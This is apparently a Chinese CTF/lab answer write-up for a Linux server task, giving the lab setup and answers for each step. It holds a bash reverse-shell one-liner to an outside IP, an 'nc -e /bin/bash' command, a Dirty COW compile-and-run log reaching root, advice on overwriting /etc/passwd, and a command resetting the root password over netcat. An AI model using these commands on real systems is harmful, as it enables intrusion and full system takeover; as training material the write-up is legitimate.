任务环境说明:
攻击机:
物理机:Windows7
物理机安装工具1:Microsoft Visual Studio 2008
物理机安装工具2:OllyICE
虚拟机1:Ubuntu_Linux
虚拟机1安装工具1:Python3/Python2
虚拟机1安装工具2:GCC
虚拟机1安装工具3:GDB
虚拟机1安装工具4:Netcat
虚拟机1用户名:root,虚拟机1密码:123456
虚拟机操作系统2:CentOS_Linux
虚拟机2安装工具1:GCC
虚拟机2安装工具2:GDB
虚拟机2用户名:root,虚拟机2密码:123456
靶机:
服务器场景1:WindowsServer
服务器场景1的FTP下载服务用户名:anonymous
服务器场景2:LinuxServer_01
任务内容:
1.登录服务器场景2的WebShell,通过相关手段打印当前系统相关信息(内核版本号、硬件架构、主机名称和操作系统类型等,命令并非查看文件),将操作命令作为FLAG值提交;
答案:uname -a
#拿到的webshell后面的题目需要反弹,如果有NC直接nc -e /bin/bash,没有的话也可以直接通过bash反弹命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
2.根据操作命令回显将内核版本信息作为FLAG值提交;
操作命令:uname -r
3.通过相关手段对服务器场景2上传提权文件,将上传成功提示单词全部作为FLAG值提交;
不清楚是什么提权方式,无法作答;
疑似:脏牛、CVE-2017-16995....
脏牛:
www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
www-data@medidor2:/tmp$ ls
hello
www-data@medidor2:/tmp$ chmod +x hello
www-data@medidor2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@medidor2:/tmp$ ./hello [*] range: b7573000-b7716000] [*] getuid = b762bd10 [*] mmap 0xb73cb000 [*] exploiting (patch) [*] patched (madviseThread) [*] patched (procselfmemThread) root@medidor2:/tmp# [*] exploiting (unpatch) [*] unpatched: uid=33 (madviseThread) [*] unpatched: uid=33 (procselfmemThread) root@medidor2:/tmp# id uid=0(root) gid=0(root) groups=0(root)
CVE-2017-16995直接编译gcc -o exp exp.c即可;
脏牛:gcc -pthread dirty.c -o dirty -lcrypt编译好执行即可,使用脏牛需要注意的是对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限;
4.在攻击机虚拟机1通过NC进行监听模式,输出交互信息或报错信息,并且监听8081端口,将命令作为FLAG值提交;
参考命令:nc -lvvp 8081
5.从攻击机虚拟机1对服务器场景2通过相关手段进行NC连接,将成功回显后结果的正数第三排第四个单词作为FLAG值提交;
参考命令:netcat ip port
6.从攻击机虚拟机1对服务器场景2通过相关手段进行NC成功连接后,通过相关命令修改root密码,将回显最后一行后三个单词作为FLAG值提交;
参考命令:通过NC修改Linux密码的命令:echo qqadminssh | passwd --stdin root
7.修改密码后,查看/root/flag.txt文件,将回显最后一行最后两个单词作为FLAG值提交;
参考命令:cat /root/flag.txt
8.对当前用户进行提权,提权成功后,再次查看/root/flag.txt,将回显内容后两个单词作为FLAG值提交;
参考命令:cat /root/flag.txt
如果你觉得这篇文章对你有用你可以通过扫描下面的二维码进行打赏。
——>微信<—— ——>支付宝<——
所有评论(0)